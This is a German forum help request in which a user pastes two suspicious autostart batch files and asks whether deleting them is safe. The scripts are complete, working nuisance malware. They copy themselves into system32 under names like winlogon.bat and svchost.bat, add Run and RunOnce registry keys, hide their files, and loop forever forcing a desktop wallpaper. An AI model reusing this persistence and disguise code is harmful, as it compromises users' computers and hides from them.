die zwei machen mich irgendwie stuzig.Im Tuneupstartmanager steht bei beiden unbekannt. Vorallem das rem by sollinis oder so,da das ja ein coder is^^
Inhalt der winlogon.bat

@echo off
reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d "1" /f > nul
xcopy /h /r /y hsag.bmp %systemroot%\system32 > nul
del /f hsag.bmp
cd /d %systemroot%\system32
copy %0 /Y winlogon.bat > nul
cd /d %userprofile%\Startm~1\Programme\Autostart
copy %0 /Y config.bat > nul
attrib +r +s +h "%userprofile%\Startm~1\Programme\Autostart\config .bat"
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru nOnce" /v "Winlogon" /t REG_SZ /d "%%systemroot%%\system32\winlogon.bat" /f > nul
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru n" /v "Winlogon" /t REG_SZ /d "%%systemroot%%\system32\winlogon.bat" /f > nul
attrib +r +s +h "%systemroot%\system32\winlogon.bat"
echo Const sWallPaper = "%systemroot%\system32\hsag.bmp" >> tmp.vbs
echo WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Control Panel\Desktop\Wallpaper", sWallPaper >> tmp.vbs
echo CreateObject("WScript.Shell").Run "%systemroot%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True >> tmp.vbs
start /wait tmp.vbs
del /f tmp.vbs
reg add HKCU\Control Panel\Desktop /v "ConvertedWallpaper" /t REG_SZ /d "%%systemroot%%\system32\hsag.bmp" /f > nul
attrib +r +s +h "%systemroot%\system32\hsag.bmp"
cd /d %systemroot%\system32
echo @echo off >> svchost.bat
echo :wallpaper >> svchost.bat
echo ping 127.0.0.1 -n 60 ^> nul >> svchost.bat
echo reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d "1" /f ^> nul >> svchost.bat
echo echo Const sWallPaper = "%systemroot%\system32\hsag.bmp" ^>^> tmp.vbs >> svchost.bat
echo echo WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Control Panel\Desktop\Wallpaper", sWallPaper ^>^> tmp.vbs >> svchost.bat
echo echo CreateObject("WScript.Shell").Run "%systemroot%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True ^>^> tmp.vbs >> svchost.bat
echo start /wait tmp.vbs >> svchost.bat
echo del /f tmp.vbs >> svchost.bat
echo reg add HKCU\Control Panel\Desktop /v "ConvertedWallpaper" /t REG_SZ /d "%%systemroot%%\system32\hsag.bmp" /f ^> nul >> svchost.bat
echo goto wallpaper >> svchost.bat
attrib +r +s +h "%systemroot%\system32\svchost.bat"
echo Set ws = WScript.CreateObject("WScript.Shell") >> wincall.vbs
echo MSGString = "svchost.bat" >> wincall.vbs
echo Ret = ws.run (MSGString,0,true) >> wincall.vbs
start /wait wincall.vbs
del /f wincall.vbs
exit

REM tmp.vbs by Rayden
REM rest by sollniss
Inhalt der config.bat

@echo off
reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d "1" /f > nul
xcopy /h /r /y hsag.bmp %systemroot%\system32 > nul
del /f hsag.bmp
cd /d %systemroot%\system32
copy %0 /Y winlogon.bat > nul
cd /d %userprofile%\Startm~1\Programme\Autostart
copy %0 /Y config.bat > nul
attrib +r +s +h "%userprofile%\Startm~1\Programme\Autostart\config .bat"
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru nOnce" /v "Winlogon" /t REG_SZ /d "%%systemroot%%\system32\winlogon.bat" /f > nul
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Ru n" /v "Winlogon" /t REG_SZ /d "%%systemroot%%\system32\winlogon.bat" /f > nul
attrib +r +s +h "%systemroot%\system32\winlogon.bat"
echo Const sWallPaper = "%systemroot%\system32\hsag.bmp" >> tmp.vbs
echo WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Control Panel\Desktop\Wallpaper", sWallPaper >> tmp.vbs
echo CreateObject("WScript.Shell").Run "%systemroot%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True >> tmp.vbs
start /wait tmp.vbs
del /f tmp.vbs
reg add HKCU\Control Panel\Desktop /v "ConvertedWallpaper" /t REG_SZ /d "%%systemroot%%\system32\hsag.bmp" /f > nul
attrib +r +s +h "%systemroot%\system32\hsag.bmp"
cd /d %systemroot%\system32
echo @echo off >> svchost.bat
echo :wallpaper >> svchost.bat
echo ping 127.0.0.1 -n 60 ^> nul >> svchost.bat
echo reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d "1" /f ^> nul >> svchost.bat
echo echo Const sWallPaper = "%systemroot%\system32\hsag.bmp" ^>^> tmp.vbs >> svchost.bat
echo echo WScript.CreateObject("WScript.Shell").RegWrite "HKCU\Control Panel\Desktop\Wallpaper", sWallPaper ^>^> tmp.vbs >> svchost.bat
echo echo CreateObject("WScript.Shell").Run "%systemroot%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True ^>^> tmp.vbs >> svchost.bat
echo start /wait tmp.vbs >> svchost.bat
echo del /f tmp.vbs >> svchost.bat
echo reg add HKCU\Control Panel\Desktop /v "ConvertedWallpaper" /t REG_SZ /d "%%systemroot%%\system32\hsag.bmp" /f ^> nul >> svchost.bat
echo goto wallpaper >> svchost.bat
attrib +r +s +h "%systemroot%\system32\svchost.bat"
echo Set ws = WScript.CreateObject("WScript.Shell") >> wincall.vbs
echo MSGString = "svchost.bat" >> wincall.vbs
echo Ret = ws.run (MSGString,0,true) >> wincall.vbs
start /wait wincall.vbs
del /f wincall.vbs
exit

REM tmp.vbs by Rayden
REM rest by sollniss

Jetzt weis ich nicht ob ich die einfahc löschen kann,nicht dass dann noch was passiert^^